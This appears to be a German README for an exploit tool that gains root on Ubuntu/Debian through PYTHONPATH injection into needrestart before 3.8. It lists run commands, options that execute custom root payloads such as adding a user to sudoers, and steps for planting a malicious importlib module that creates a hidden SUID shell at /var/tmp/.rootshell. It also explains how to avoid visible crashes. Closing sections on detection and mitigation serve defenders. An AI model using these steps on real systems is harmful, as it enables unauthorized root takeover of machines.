
needrestart < 3.8 Lokale Privilegieneskalation via PYTHONPATH injection
Lokaler Privilegienausweitungs-Exploit, der needrestart < 3.8 auf Ubuntu/Debian-Systemen über PYTHONPATH-Injektion angreift.
needrestart ist ein Dienstprogramm, das häufig auf Ubuntu/Debian-Servern installiert ist und prüft, welche Dienste nach Bibliotheksaktualisierungen neu gestartet werden müssen. Es wird als root ausgeführt und typischerweise automatisch nach apt-Operationen ausgelöst oder direkt über sudo aufgerufen.
Bei der Überprüfung von Python-Prozessen ruft needrestart den Python-Interpreter erneut auf, während es die gesamte Umgebung des Prozesses von /proc/<pid>/environ erbt — einschließlich PYTHONPATH. Ein unprivilegierter lokaler Benutzer kann dies ausnutzen, indem er:
PYTHONPATH auf ein Verzeichnis, das ein schädliches importlib-Paket enthältimportlib/__init__.py des Angreifers als root| Paket | Verwundbar | Behoben |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
Bestätigt auf:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
Dann lösen Sie needrestart von einem anderen Terminal aus:
# If you have direct sudo access to needrestart:
sudo /usr/sbin/needrestart
# Or trigger it via apt (needrestart runs as a post-apt hook):
sudo apt update && sudo apt install --reinstall coreutils
Sobald needrestart ausgelöst wird, erstellt der Exploit eine SUID-Shell unter /var/tmp/.rootshell und bringt Sie automatisch in eine Root-Shell.
Falls die automatische Ausführung nicht funktioniert, holen Sie die Shell manuell:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONEN]
Options:
-c <Befehl> Benutzerdefinierter Shell-Befehl, der als root ausgeführt wird (Standard: suid-Shell kopieren)
-w <Sekunden> Maximale Wartezeit in Sekunden (Standard: 300)
-t Trigger-Modus: Versucht, needrestart über apt auszulösen
-n Keine Bereinigung: Payload-Verzeichnis nach Ausnutzung behalten
-h Diese Hilfe anzeigen
# Default — creates a SUID /bin/bash copy at /var/tmp/.rootshell
./exploit.sh
# Auto-trigger needrestart via apt (requires sudo apt access)
./exploit.sh -t
# Custom payload: add current user to sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# Custom payload: read a restricted file
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# Extended wait (10 minutes)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. Creates /tmp/.nr_XXXX/importlib/__init__.py with payload │
│ that runs os.system() to copy /bin/bash as SUID binary │
├───────────────────────────────────────────────────────────────┤
│ 2. Spawns a long-running Python process with │
│ PYTHONPATH=/tmp/.nr_XXXX exported in its environment │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart runs (via sudo or apt hook), scans │
│ /proc/*/environ, finds the Python process │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart re-invokes python3 AS ROOT inheriting the │
│ attacker's PYTHONPATH → loads malicious importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. Payload executes as root: cp /bin/bash + chmod 4755 │
│ → attacker runs /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ statt /tmp/ platziert, da /tmp häufig mit nosuid eingehängt ist, was das SUID-Bit stillschweigend entfernt.importlib/__init__.py stellt das echte importlib nach der Payload-Ausführung wieder her, indem es sys.path und sys.modules bereinigt, sodass needrestart nicht sichtbar abstürzt..py-Datei aus (kein -c-Einzeiler) für eine bessere Kompatibilität mit dem Interpreter-Scan von needrestart.Anzeichen, dass dieser Exploit verwendet wurde:
/var/tmp/ oder /tmp/PYTHONPATH-Werten ausgeführt werden, die auf temporäre Verzeichnisse verweisen/tmp/.nr_* passen und ein importlib/-Unterverzeichnis enthalten# Update needrestart to the patched version
sudo apt update && sudo apt install needrestart
# Or disable interpreter scanning entirely
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
Dieses Tool wird ausschließlich für autorisierte Sicherheitstests und zu Bildungszwecken bereitgestellt. Verwenden Sie es nur auf Systemen, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Erlaubnis zum Testen haben. Unautorisierter Zugriff auf Computersysteme ist illegal. Der Autor übernimmt keine Haftung für Missbrauch.
MIT